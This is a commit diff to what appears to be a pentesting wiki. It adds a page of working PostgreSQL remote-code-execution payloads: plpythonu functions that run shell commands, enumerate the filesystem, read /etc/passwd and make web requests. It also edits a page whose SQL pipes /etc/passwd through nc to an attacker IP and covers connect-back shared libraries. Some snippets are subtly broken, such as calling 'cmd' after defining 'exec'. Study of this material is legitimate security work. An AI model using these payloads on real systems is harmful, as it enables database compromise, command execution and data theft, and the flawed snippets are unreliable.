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1
SUMMARY.md
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@ -539,6 +539,7 @@
* [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
* [Network - Privesc, Port Scanner and NTLM chanllenge response disclosure](pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)

2
network-services-pentesting/pentesting-postgresql.md
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@ -65,7 +65,7 @@ SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Sow installed extensions
# Show installed extensions
SHOW rds.extensions;
```

6
pentesting-web/sql-injection/postgresql-injection/README.md
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@ -161,6 +161,12 @@ GRANT pg_execute_server_program TO username;
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE with PostgreSQL Languages
{% content-ref url="rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](rce-with-postgresql-languages.md)
{% endcontent-ref %}
### RCE with PostgreSQL extensions
Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\

52
pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
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@ -1,23 +1,18 @@
# RCE with PostgreSQL Extensions
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
# PostgreSQL Extensions
## PostgreSQL Extensions
PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in.\
Extensions are modules that supply extra functions, operators, or types. They are libraries written in C.\
@ -25,12 +20,12 @@ From PostgreSQL > 8.1 the extension libraries must be compiled with a especial h
Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
## RCE in Linux
### RCE in Linux
The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented ([Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres\_payload)):
```c
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
```
@ -51,11 +46,11 @@ This error is explained in the [PostgreSQL documentation](https://www.postgresql
So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block.
### Compile the library
#### Compile the library
First of all you need to know the version of PostgreSQL running:
```bash
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
@ -100,7 +95,7 @@ You can find this **library precompiled** to several different PostgreSQL versio
For more information read: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
## RCE in Windows
### RCE in Windows
The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it:
@ -239,7 +234,7 @@ Note how in this case the **malicious code is inside the DllMain function**. Thi
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
## RCE in newest Prostgres versions
### RCE in newest Prostgres versions
On the **latest versions** of PostgreSQL, the `superuser` is **no** longer **allowed** to **load** a shared library file from **anywhere** else besides `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix. Additionally, this path is **not writable** by either the NETWORK\_SERVICE or postgres accounts.
@ -247,7 +242,7 @@ However, an authenticated database `superuser` **can write** binary files to the
The underlying issue is that the `CREATE FUNCTION` operative **allows for a directory traversal** to the data directory! So essentially, an authenticated attacker can **write a shared library file into the data directory and use the traversal to load the shared library**. This means an attacker can get native code execution and as such, execute arbitrary code.
### Attack flow
#### Attack flow
First of all you need to **use large objects to upload the dll**. You can see how to do that here:
@ -306,21 +301,14 @@ print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

293
pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md Normal file
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@ -0,0 +1,293 @@
# RCE with PostgreSQL Languages
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## PostgreSQL Languages
The PostgreSQL database you got access to may have different **scripting languages installed** that you could abuse to **execute arbitrary code**.
You can **get them running**:
```sql
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Most of the scripting languages you can install in PostgreSQL have **2 falvours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
* **plpythonu**
* **perlu**
* **javaU**
* **plrubyu**
* ... (any other programing language using an insecure version)
{% hint style="info" %}
Note that it's posisble to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.
{% endhint %}
If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (`lanpltrusted` is `false`) you can try to **enable it** with:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='c';
```
## plpythonu
{% tabs %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Get OS user" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="List dir" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="Find W folder" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="Find File" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="Find executables" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="Find exec by subs" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="Read" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="Get perms" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Request" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>